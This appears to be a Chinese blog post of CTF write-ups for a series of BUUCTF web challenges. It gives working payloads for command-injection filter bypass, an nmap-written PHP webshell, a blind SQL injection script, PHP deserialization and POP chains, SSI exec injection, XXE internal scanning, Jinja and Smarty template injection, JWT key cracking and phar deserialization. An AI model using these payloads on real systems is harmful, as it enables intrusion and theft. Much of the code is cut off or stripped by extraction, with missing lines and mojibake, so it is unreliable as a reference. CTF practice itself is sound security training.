这里有几列可以慢慢试过去,不对会报错,而flag在哪列同样一个个试过去
robots.txt里看一下,果然有东西fAke_f1agggg.php
,虽然是假的flag,但响应头暗藏玄机
2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
第一层intval绕过很好绕,科学计数法就行
num=2010e2
第二层有点难搞,因为是弱比较所以'0e12345'
和'0e11111'
这种是相等的,也就是要找一个0e
开头的数,md5后也是0e
开头。(我自己没搜到,太菜了。。。)
md5=0e215962017
第三层就简单了,${IFS}
代替空格,tac
代替cat
,直接读flag
get_flag=tac${IFS}f*
又是nmap,跟之前[BUUCTF 2018]Online Tool这题很像,直接用那个payload试试看
' -oG shell.php '
发现过滤了php,改用短标签和phtml后缀
' =@eval($_POST["cmd"]);?> -oG shell.phtml '
打开网页源码发现flag.php,但没有flag
尝试加个xff头
根据题目,盲注没错了
对照着写了个二分法的脚本
import requests
url = 'http://c4eb39fc-5e90-4165-9a11-5d9f7513cce5.node3.buuoj.cn/search.php'
flag = ''
payload = {
'id':''
}
for i in range(1,300):
left = 1
right = 127
mid=int((left+right)/2)
while(left
这题flag放的地方有点坑,不在Flaaaaag表中,而在F1naI1y表的password中,并且这个password的值还巨多,这我要是没用二分法估计得跑半小时。
ctrl+u发现time.php
a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
尝试反序列化命令执行,发现system被禁了,eval也不行,assert到是可以,查看phpinfo发现flag
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
感觉这题挺没意思的
源码泄露,index.php.swp
alert('[+] Welcome to manage system')";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
Hello,'.$_POST['username'].'
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "";
}else
{
***
}
***
首先需要password经过md5加密后前几位等于6d0bc1
import hashlib
for i in range(1,10000000000):
password = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if password[0:6]=='6d0bc1':
print(i)
print(password)
break
password=2020666
然后是SSI注入漏洞,这就涉及到我的知识盲区了
服务器端包含注入SSI分析总结
SSI是英文"Server Side Includes"的缩写,翻译成中文就是服务器端包含的意思。
SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。
因为登入后抓包发现一个url,是shtml后缀,里面可能存在ssi指令,尝试ssi注入,注入点在username处
使用exec指令,使用cmd作为参数执行服务器端命令:
flag在上级目录
username=
append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."
";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
妈的,稍微难一点就屁都不会了,难顶~
首先看一下要用到的魔术方法
__get() //用于从不可访问(或不存在)的属性读取数据
__invoke() //当尝试将对象调用为函数时触发
__toString() //把类当作字符串使用时触发
例:
//输出:你把对象当函数调用了!
password;
?>
//输出:你在调用不可达的属性或不存在的属性!
//输出:你在把类当作字符串使用!
回到题目
我们最终是要利用include来读取flag,这需要触发__invoke
来实现,也就是要将一个对象当函数调用,正好在Test类中的__get
方法中有这么两行代码
public function __get($key){
$function = $this->p;
return $function();
}
那么只要$this->p=new Modifier()
就能触发__invoke
了
而想要触发__get
就要访问不可达或不存在的属性,又正好在Show类中的__toString
方法有这么一行
public function __toString(){
return $this->str->source;
}
只要$this->str=new Test()
,而Test类中没有source
属性,这样就能触发__get
了
那要怎么触发__toString
呢?Show还有这么两行
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."
";
}
也就是只要$this->source=new Show()
就能触发__toString
了
注意,因为Modifier类中有protected
属性,序列化后有不可见字符%00
,提交时要手动加上,或者直接把最终payload进行url编码
append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."
";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
$a = new Test();
$a->p = new Modifier();
//触发__invoke
$b = new Show();
$b->str = $a;
//触发__get
$c = new Show();
$c->source = $b;
//触发__toString
echo urlencode(serialize($c));
?>
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
由MRCTF2020学习反序列化POP链
首先跟之前那题一样,可以任意文件读取,但没有flag,可以php伪协议读取doLogin.php,但没啥用
]>
&goodies; 123456
接下来需要的是xxe打内网
要读取/etc/host,查看存活主机
然后
???为什么跟wp不一样,ip地址呢?
其实还有一个关键文件,/proc/net/arp
(可能我后面爆破的原因,有这么多ip,一开始就一个10.0.212.28.xx,忘了是哪个。。。)
然后爆破c端,找到flag,在10.0.212.11
没搞懂/etc/host和/proc/net/arp的区别,希望有大佬能解答一下~
结合题目,测试后发现在解密处存在ssti,
简单fuzz后发现过滤了flag,os,eval
可以用如下命令读取app.py
{
{url_for.__globals__.__builtins__.open('app.py').read()}}
发现黑名单
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
可以字符串拼接来绕过
{
{url_for.__globals__['o'+'s']['pop'+'en']('ls /').read()}}
e3t1cmxfZm9yLl9fZ2xvYmFsc19fWydvJysncyddWydwb3AnKydlbiddKCdscyAvJykucmVhZCgpfX0=
找到flag
读取flag
{
{url_for.__globals__['o'+'s']['pop'+'en']('cat /this_is_the_fla'+'g.txt').read()}}
e3t1cmxfZm9yLl9fZ2xvYmFsc19fWydvJysncyddWydwb3AnKydlbiddKCdjYXQgL3RoaXNfaXNfdGhlX2ZsYScrJ2cudHh0JykucmVhZCgpfX0=
题目要求买lv6,翻了几页没看见,写个脚本跑一下
import requests
url = 'http://afdaf66c-c95a-4d7f-80da-6d149e896787.node3.buuoj.cn/shop'
payload = {
'page' : 1
}
for i in range(1,200):
payload['page'] = i
r = requests.get(url,params=payload)
if 'lv6.png' in r.text:
print(i)
break
最终发现在181页,但发现钱不够,抓包将折扣改成0.000000008
然后提示要admin,再仔细看了下,http头中有jwt,放到这个网站看一下,是hs256加密,用c-jwt-cracker
破解key
构造jwt
替换jwt后发现成功成为admin,在网页源码中发现www.zip,下载
然后就是python反序列化,没接触过,研究完后再回来做~
题目页面中的Build With Smarty
是重点,说明用了smarty模板,猜测是模板注入
题目会检测ip,加个xff头发现注入点在xff头
没接触过smarty,搜一下语法,发现可以执行php函数
smarty中调用php内置函数
读取flag
X-Forwarded-For: {'cat /flag'|system}
看到别的师傅写的一些smarty常用payload
{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}
登陆后随便上传一个图片,发现可以下载和删除,猜测可以任意文件下载
抓包,filename改为/etc/passwd
但没法下载其他文件,看wp才知道要chdir() 现实目录跳跃filename=../../index.php
可以下载class.php,delete.php,download.php,index.php,upload.php
不过有用的就class.php和delete.php
//class.php
db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '';
$table .= '';
foreach ($this->funcs as $func) {
$table .= '' . htmlentities($func) . ' ';
}
$table .= 'Opt ';
$table .= ' ';
foreach ($this->results as $filename => $result) {
$table .= '';
foreach ($result as $func => $value) {
$table .= '' . htmlentities($value) . ' ';
}
$table .= '涓嬭浇 / 鍒犻櫎 ';
$table .= ' ';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
//delete.php
open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
有几个关键点
User类中
public function __destruct() {
$this->db->close();
File类中
public function close() {
return file_get_contents($this->filename);
FileList类中
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
__call:会在对象调用不存在的方法时,自动执行,第一个参数为调用的方法名
所以思路为:当db的值为FileList的一个对象时,执行close()方法,但FileList中没有close(),于是触发__call(‘close()’)方法,使得$file->close()
,进而$results=file_get_contents($filename)
,最终FileList->__destruct()
输出$result
payload
files = array(new File());
}
}
$a = new User();
$b = new FileList();
$a->db = $b;
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('');
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
上传时将类型为image/gif,然后删除时filename=phar://phar.gif
其实做完了还是不太懂,再也不想看到php了。。。
多放几篇wp
https://www.jianshu.com/p/5b91e0b7f3ac
https://blog.csdn.net/weixin_44077544/article/details/102844554
https://blog.csdn.net/weixin_43345082/article/details/100102082
[BSidesCF 2019]Futurella
查看网页源码就有flag
我直接黑人问号???
[GWCTF 2019]枯燥的抽奖(打不开)
题目容器新建不了,以后再说
[MRCTF2020]套娃
你可能感兴趣的:(web,安全)